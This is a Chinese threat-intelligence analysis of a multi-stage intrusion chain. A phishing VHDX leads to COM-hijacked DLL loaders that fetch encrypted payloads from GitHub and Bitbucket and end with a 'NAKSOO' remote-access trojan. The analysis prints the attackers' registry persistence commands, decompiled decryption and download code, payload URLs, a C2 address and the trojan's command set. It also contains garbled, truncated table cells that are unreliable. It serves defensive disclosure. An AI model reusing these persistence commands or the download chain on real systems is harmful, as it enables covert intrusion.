



| 文件名                                                        | 功能                                                | 文件大小<br>bytes | 编译时间               | md5                              | IoC                     |
|------------------------------------------------------------|---------------------------------------------------|---------------|--------------------|----------------------------------|-------------------------|
| Registration<br>Form.vhdx                                  | 钓鱼vhdx虚拟磁盘挂载文件                                    | 25165824      | /                  | a0899ceed000e126b152f2f1f8979f67 | /                       |
| WebClassUser.dat                                           | 远程加载器，定期访问github仓库下载后阶段payload在内存执行               | 153600        | 2025/6/19<br>13:33 | 625469c139018177c4d39709510049d8 | github.com/tibai1121/ct |
| jj.tmp<br>aa.tmp<br>ch.tmp<br>kk.tmp                       | Github仓库<br>tibai1121/chvtmix托管的加密payload         | 208896        | /                  | 38d322b65ed703bdfcd7887b710041c2 | /                       |
| WebCacheR.tmp.dat                                          | jj.tmp解密后的payload，下载器，创建计划任务并下载第三阶段payload        | 208896        | 2025/6/26<br>20:35 | e58854cd654502925c6dfe46563b440  | github.com/galbraith99: |
| datapages.txt                                              | Github仓库<br>galbraith9921/redbook121托管的加密payload  | 169984        | /                  | e62ed8dbe29dd92f78a91f08286256ff | /                       |
| GameList.dat                                               | datapages.txt解密后的DLL文件，加载指定目录下的DataCache.dat      | 127488        | 2025/8/16<br>10:53 | 88a3885f23bb476c7addaf7acca48879 | /                       |
| datautils.txt                                              | Github仓库<br>galbraith9921/redbook121托管的加密payload  | 453292        | /                  | 4ff67a17ed99a55f3ddd85e6389539cd | /                       |
| DataCache.dat                                              | datautils.txt解密后的DLL文件，NAKSOO远控木马                 | 339968        | 2025/7/15<br>13:14 | 0646401a07076f350b5e9134e236fea7 | 185.181.230.110         |
| aa.tmp<br>Encoded_File.tmp<br>ff.tmp<br>relo.tmp<br>zt.tmp | Github仓库<br>tibai1121/chvtmix历史上托管的加密payload      | 195072        | /                  | c0617166114aa2f7104ba17e493379b4 | /                       |
| aa.tmp.dll                                                 | aa.tmp解密后的payload，下载器，创建计划任务并下载第三阶段payload        | 195072        | 2025/3/27<br>18:43 | f686674352c173253f4e283b40dace03 | bitbucket.org/bkieoe32/ |
| ww.tmp<br>zz.tmp                                           | Github仓库<br>tibai1121/chvtmix历史上托管的加密payload      | 127488        | /                  | 4f699aefb2aab1bd3c44c0be865abbb6 | /                       |
| ww.tmp.dll<br>Config.dat                                   | ww.tmp解密后的DLL文件，加载指定目录下的Cache.dat                 | 127488        | 2025/3/27<br>13:52 | e1b24db7d651f24fbd20b1974edd6fc8 | /                       |
| zf.tmp                                                     | Github仓库<br>tibai1121/chvtmix历史上托管的加密payload      | 124928        | /                  | 16fe2f6e1f9b3aa7c43d93e7bcedde6c | /                       |
| zf.tmp.dll                                                 | zf.tmp解密后的DLL文件，加载指定目录下的DataCache.dat             | 124928        | 2025/6/18<br>17:08 | c89d574c2b23f95be45c36fd67e66d8c | /                       |
| fix.tmp                                                    | Github仓库<br>tibai1121/chvtmix历史上托管的加密payload      | 117248        | /                  | 88186860837114a1227b8fa05233ca33 | /                       |
| fix.tmp.dll                                                | fix.tmp解密后的DLL文件，重命名SecureBootUEFI.dat为Vault.dat  | 117248        | 2025/2/14<br>13:48 | 8e4f080e976a48a9a26899e7c058631f | /                       |
| go.txt                                                     | Github仓库<br>tibai1121/chvtmix历史上托管的加密payload      | 123392        | /                  | ff6cfd5aa04fcb7a1686f0119a2f1ccb | /                       |
| go.txt.dll                                                 | go.txt解密后的DLL文件，下载器创建COM注册表劫持并下载UsrClassCache.dat | 123392        | 2025/3/19<br>14:29 | 473b95fb13acbeb2c21f145d5108681d | github.com/tibai1121/ct |
| ingredient.txt                                             | Github仓库<br>tibai1121/chvtmix历史上托管的加密payload      | 154112        | /                  | 9908a33119ca4bde9332465afa7bdc98 | /                       |

|                    |                                                           |        |                 |                                  |                           |
|--------------------|-----------------------------------------------------------|--------|-----------------|----------------------------------|---------------------------|
| ingredient.txt.dll | ingredient.txt解密后的DLL文件，下载器，定期访问github仓库下载后阶段payload在内存执行 | 154112 | 2025/6/16 14:45 | bb737c010d9eb639c54ccc25c1477890 | raw.githubusercontent.com |
| UsrClassCache.dat  |                                                           |        |                 |                                  |                           |

当前内容可能存在未经审核的第三方商业营销信息，请确认是否继续访问。

可在「公众号 > 右上角 > 划线」找到划线过的内容



| 文件名                    | 功能             | 文件大小<br>bytes | 编译时间 | md5                              | IoC |
|------------------------|----------------|---------------|------|----------------------------------|-----|
| Registration Form.vhdx | 钓鱼vhdx虚拟磁盘挂载文件 | 25165824      | /    | a0899ceed000e126b152f2f1f8979f67 | /   |

RECOVERY.CFG隐藏目录存在大量文件，其中gbash.exe为白程序git.exe，gbash.exe读取同目录下bashcfg.txt的内容，执行相应命令。

添加注册表项利用COM接口（CLSID {566296fe-e0e8-475f-ba9c-a31ad31620b1}）实现dll劫持，主机重启后WebClassUser.dat加载至explorer进程中，并打开钓鱼文档，最后将多个bin文件拼接为WebClassUser.dat的dll文件。

```
Reg add HKCU\Software\Classes\CLSID\{566296fe-e0e8-475f-ba9c-a31ad31620b1}\InProcServer32 -ve -t REG_EXPAND_SZ -d %Userprofile%\AppData\Local\Microsoft\Windows\WebClassUser.dat -f -reg:64
```

```
copy /b bin60.dbs + bin400.dbs + bin900.dbs
```

| 文件名              | 功能                                  | 文件大<br>小<br>bytes | 编译时间            | md5                              | IoC                          |
|------------------|-------------------------------------|-------------------|-----------------|----------------------------------|------------------------------|
| WebClassUser.dat | 远程加载器，定期访问github仓库下载后阶段payload在内存执行 | 153600            | 2025/6/19 13:33 | 625469c139018177c4d39709510049d8 | github.com/tibai1121/chvtmix |

```

293 if ( v3 )
294 {
295     v13 = 0i64;
296     while ( 1 )
297     {
298         v14 = &v209;
299         if ( v6 > 0xF )
300             v14 = ( int128 *)v8;
301         *((_BYTE *)v14 + v13) ^= 3u;
302         ++v12;
303         ++v13;
304         if ( (unsigned __int64)v12 >= v210.m128i_i64[0] )
305             break;
306         v6 = v210.m128i_u64[1];
307         v8 = v209;
308     }
309     v7 = v209;
310 }
```

https://raw.githubusercontent.com/tibai1121/chvtmix/refs/heads/main/1222576530DESKTOP-xxxxxxx.txt

```

430 v31 = ptr_InternetOpenW(L"Mozilla/5.0", 0i64, 0i64, 0i64, 0);
431 v32 = v31;
432 v229 = v31;
433 v33 = &v238;
434 if ( *((_QWORD *)&v239 + 1) > 7ui64 )
435     v33 = (__int128 *)v238;
436 internet_handle = ptr_InternetOpenUrlW(v31, v33, 0i64, 0i64, 0x80000000, 0i64);
437 v35 = internet_handle;
438 v36 = -1i64;
439 if ( !internet_handle )
440     goto LABEL_189;
441 v234 = 2048;
442 ptr_InternetReadFile(internet_handle, &v240, 2048i64, &v234);

```

<https://raw.githubusercontent.com/zibbra/eqybhn/refs/heads/main/1222576530DESKTOP-xxxxxxx.txt>

<https://raw.githubusercontent.com/zibbra/eqybhn/refs/heads/main/Master.txt>

| 文件名               | 功能                     | 文件大小<br>bytes | 编译时间               | md5                                | IoC                               |
|-------------------|------------------------|---------------|--------------------|------------------------------------|-----------------------------------|
| jj.tmp            | Github仓库               |               |                    |                                    |                                   |
| aa.tmp            | tibai1121/chvtmix      | 208896 /      |                    | 38d322b65ed703bdfcd7887b710041c2 / |                                   |
| ch.tmp            | 托管的加密                  |               |                    |                                    |                                   |
| kk.tmp            | payload                |               |                    |                                    |                                   |
|                   | jj.tmp解密后的             |               |                    |                                    |                                   |
|                   | payload，下载             |               |                    |                                    |                                   |
| WebCacheR.tmp.dat | 器，创建计划任务并下载第三阶段payload | 208896        | 2025/6/26<br>20:35 | e58854cd654502925c6d4fe46563b440   | github.com/galbraith9921/redbook1 |

starpth%%

datapages.txt

workpath%%

datautils.txt

register%%

rapd.txt

fstapath%%

GameList.dat

fworpath%%

DataCache.dat

temppath%%

%temp%

install%%%

%LocalAppData%\Microsoft\GameDVR\data

GetTickCount

LoadLibraryW

ReadFile

WriteFile

DeleteFileW

CreateDirectoryW

CreateFileW

CreateFileMappingA

MapViewOfFile

CloseHandle

SetThreadErrorMode

SetErrorMode

Sleep  
 GetFileSize  
 ExpandEnvironmentStringsW  
 CreateThread  
 CreateProcessWCreateEventW  
 SetEvent  
 ResetEvent  
 WaitForSingleObject  
 RegCreateKeyExW  
 RegSetValueExW  
 RegOpenKeyExW  
 RegQueryValueExW  
 RegCloseKey  
 CryptDecrypt  
 CryptDestroyKey  
 CryptDestroyHash  
 CryptHashData  
 CryptDeriveKey  
 CryptSetKeyParam  
 CryptReleaseContext  
 CryptAcquireContextA  
 CryptCreateHash  
 WinHttpOpen  
 WinHttpConnect  
 WinHttpOpenRequest  
 WinHttpSendRequest  
 WinHttpGetIEProxyConfigForCurrentUser  
 WinHttpSetOption  
 WinHttpReadData  
 WinHttpCloseHandle  
 WinHttpWriteData  
 WinHttpReceiveResponse  
 WinHttpQueryDataAvailable  
 PathFileExistsW  
 Software\Classes\CLSID\  
 %userprofile%\appdata\local\Microsoft\GameDVR\data\GameList.dat  
 C:\windows\system32\reg.exe  
 add "HKCU\Software\Classes\CLSID\{64B8F404-A4AE-11D1-B7B6-00C04FB926AF}\InProcServer32" /ve /t REG\_EXPAND\_SZ /d "C:\Users\  
 <username>\AppData\Local\Microsoft\GameDVR\data\GameList.dat" /f  
<https://raw.githubusercontent.com/galbraith9921/redbook121/refs/heads/main/datapages.txt>  
<https://raw.githubusercontent.com/galbraith9921/redbook121/refs/heads/main/datapages.txt>  
<https://raw.githubusercontent.com/galbraith9921/redbook121/refs/heads/main/datautils.txt>

C:\Users\<username>\AppData\Local\Microsoft\GameDVR\data\DataCache.dat

| 文件名           | 功能                                                   | 文件大小<br>bytes     | 编译时间               | md5                              | IoC             |
|---------------|------------------------------------------------------|-------------------|--------------------|----------------------------------|-----------------|
| datapages.txt | 加密payload                                            | 169984            | /                  | e62ed8dbe29dd92f78a91f08286256ff | /               |
| GameList.dat  | datapages.txt解密后的DLL文件，加载指定目录下的DataCache.dat         | 127488            | 2025/8/16<br>10:53 | 88a3885f23bb476c7addaf7acca48879 | /               |
| 文件名           | 功能                                                   | 文件大<br>小<br>bytes | 编译时间               | md5                              | IoC             |
| datautils.txt | Github仓库<br>galbraith9921/redbook121<br>托管的加密payload | 453292            | /                  | 4ff67a17ed99a55f3ddd85e6389539cd | /               |
| DataCache.dat | datautils.txt解密后的DLL文件，NAKSOO远控木马                    | 339968            | 2025/7/15<br>13:14 | 0646401a07076f350b5e9134e236fea7 | 185.181.230.110 |

| 指令            | 功能简述                  |
|---------------|-----------------------|
| turn on       | 增加指令循环频率              |
| turn off      | 降低指令循环频率              |
| cd            | 切换目录                  |
| ddir          | 遍历文件目录                |
| ddel          | 删除文件或目录               |
| ld            | 加载库文件，调用extension     |
| uld           | 卸载库文件，调用stopextension |
| attach        | 加载库文件                 |
| detach        | 卸载库文件                 |
| procpawn      | 创建子进程                 |
| prockill      | 结束进程                  |
| proclist      | 获取进程列表                |
| diskinfo      | 获取磁盘信息                |
| download      | 从远程下载文件(加密)           |
| downfree      | 从远程下载文件(未加密)          |
| cancel        | 取消                    |
| screenupload  | 上传屏幕截图                |
| screenauto    | 定期上传屏幕截图              |
| upload        | 上传指定文件                |
| cmd           | 其他命令执行                |
| extension     | 扩展插件                  |
| stopextension | 停止扩展插件                |
| cmd.exe /c    | 其他命令执行                |

DataCache.dat属于“伪猎者”特马，由于该远控木马执行时使用NAKSOO字符串参与运算生成上线包标识字符串LL0uSiJQ，故命名为NAKSOO远控木马。

| 文件名                                                                                                                                                                                    | 功能                | 文件大<br>小<br>bytes | 编译时间               | md5                              | IoC                                  |
|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------|-------------------|--------------------|----------------------------------|--------------------------------------|
| aa.tmp                                                                                                                                                                                 | Github仓库          |                   |                    |                                  |                                      |
| Encoded_File.tmp                                                                                                                                                                       | tibai1121/chvtmix |                   |                    |                                  |                                      |
| ff.tmp                                                                                                                                                                                 | 历史上托管的加           | 195072            | /                  | c0617166114aa2f7104ba17e493379b4 | /                                    |
| relo.tmp                                                                                                                                                                               | 密payload          |                   |                    |                                  |                                      |
| zt.tmp                                                                                                                                                                                 | aa.tmp解密后的        |                   |                    |                                  |                                      |
|                                                                                                                                                                                        | payload，下载        |                   |                    |                                  |                                      |
| aa.tmp.dll                                                                                                                                                                             | 器，创建计划任           | 195072            | 2025/3/27<br>18:43 | f686674352c173253f4e283b40dace03 | bitbucket.org/bkieoe32/monster482/dc |
|                                                                                                                                                                                        | 务并下载第三阶           |                   |                    |                                  |                                      |
|                                                                                                                                                                                        | 段payload          |                   |                    |                                  |                                      |
| c:\windows\system32\reg.exe                                                                                                                                                            |                   |                   |                    |                                  |                                      |
| add "HKCU\Software\Classes\CLSID\{64B8F404-A4AE-11D1-B7B6-00C04FB926AF}\InProcServer32" /ve /t REG_EXPAND_SZ /d "C:\Users\<username>\appdata\local\Microsoft\Edge\cache\Config.dat" /f |                   |                   |                    |                                  |                                      |

| 文件名        | 功能                              | 文件大小<br>bytes | 编译时间               | md5                               | IoC |
|------------|---------------------------------|---------------|--------------------|-----------------------------------|-----|
| ww.tmp     | Github仓库<br>tibai1121/chvtmix历史 | 127488        | /                  | 4f699aefb2aab1bd3c44c0be865abbbb6 | /   |
| zz.tmp     | 上托管的加密payload                   |               |                    |                                   |     |
| ww.tmp.dll | ww.tmp解密后的DLL<br>文件，加载指定目录      | 127488        | 2025/3/27<br>13:52 | e1b24db7d651f24fbd20b1974edd6fc8  | /   |
| Config.dat | 下的Cache.dat                     |               |                    |                                   |     |

| 文件名        | 功能                              | 文件大小<br>bytes | 编译时间               | md5                              | IoC |
|------------|---------------------------------|---------------|--------------------|----------------------------------|-----|
| zf.tmp     | Github仓库<br>tibai1121/chvtmix历史 | 124928        | /                  | 16fe2f6e1f9b3aa7c43d93e7bcedde6c | /   |
|            | 上托管的加密payload                   |               |                    |                                  |     |
| zf.tmp.dll | zf.tmp解密后的DLL文<br>件，加载指定目录下     | 124928        | 2025/6/18<br>17:08 | c89d574c2b23f95be45c36fd67e66d8c | /   |
|            | 的DataCache.dat                  |               |                    |                                  |     |

| 文件名         | 功能                               | 文件大小<br>bytes | 编译时间               | md5                              | IoC |
|-------------|----------------------------------|---------------|--------------------|----------------------------------|-----|
| fix.tmp     | Github仓库<br>tibai1121/chvtmix历史上 | 117248        | /                  | 88186860837114a1227b8fa05233ca33 | /   |
|             | 托管的加密payload                     |               |                    |                                  |     |
| fix.tmp.dll | fix.tmp解密后的DLL文<br>件，重命名         | 117248        | 2025/2/14<br>13:48 | 8e4f080e976a48a9a26899e7c058631f | /   |
|             | SecureBootUEFI.dat为              |               |                    |                                  |     |
|             | Vault.dat                        |               |                    |                                  |     |

fix.tmp.dll功能为启动线程将C:\Users\User\AppData\Roaming\Vault\SecureBootUEFI.dat重命名为Vault.dat。

| 文件名        | 功能                                                 | 文件大<br>小<br>bytes | 编译时间               | md5                              | IoC                                           |
|------------|----------------------------------------------------|-------------------|--------------------|----------------------------------|-----------------------------------------------|
| go.txt     | Github仓库<br>tibai1121/chvtmix<br>历史上托管的加密          | 123392            | /                  | ff6cfd5aa04fcb7a1686f0119a2f1ccb | /                                             |
|            | payload                                            |                   |                    |                                  |                                               |
|            | go.txt解密后的DLL                                      |                   |                    |                                  |                                               |
|            | 文件，下载器创建                                           |                   |                    |                                  |                                               |
| go.txt.dll | COM注册表劫持并                                          | 123392            | 2025/3/19<br>14:29 | 473b95fb13acbeb2c21f145d5108681d | github.com/tibai1121/chvtmix/raw/refs/heads/n |
|            | 下载                                                 |                   |                    |                                  |                                               |
|            | UsrClassCache.dat                                  |                   |                    |                                  |                                               |
|            | Software\Classes\CISID\{566296fe-e0e8-475f-ba9c-   |                   |                    |                                  |                                               |
|            | a31ad31620b1}\InProcServer32                       |                   |                    |                                  |                                               |
|            | %LocalAppData%\Microsoft\Windows\UsrClassCache.dat |                   |                    |                                  |                                               |

| 文件名                | 功能                                       | 文件大<br>小<br>bytes | 编译时间               | md5                              | IoC                                  |
|--------------------|------------------------------------------|-------------------|--------------------|----------------------------------|--------------------------------------|
| ingredient.txt     | Github仓库<br>tibai1121/chvtmix<br>历史上托管的加 | 154112            | /                  | 9908a33119ca4bde9332465afa7bdc98 | /                                    |
|                    | 密payload                                 |                   |                    |                                  |                                      |
| ingredient.txt.dll | ingredient.txt解<br>密后的DLL文               |                   |                    |                                  |                                      |
|                    | 件，下载器，定                                  |                   |                    |                                  |                                      |
|                    | 期访问github仓                               | 154112            | 2025/6/16<br>14:45 | bb737c010d9eb639c54ccc25c1477890 | raw.githubusercontent.com/tibai1121. |
|                    | 库下载后阶段                                   |                   |                    |                                  |                                      |
| UsrClassCache.dat  | payload在内存执<br>行                         |                   |                    |                                  |                                      |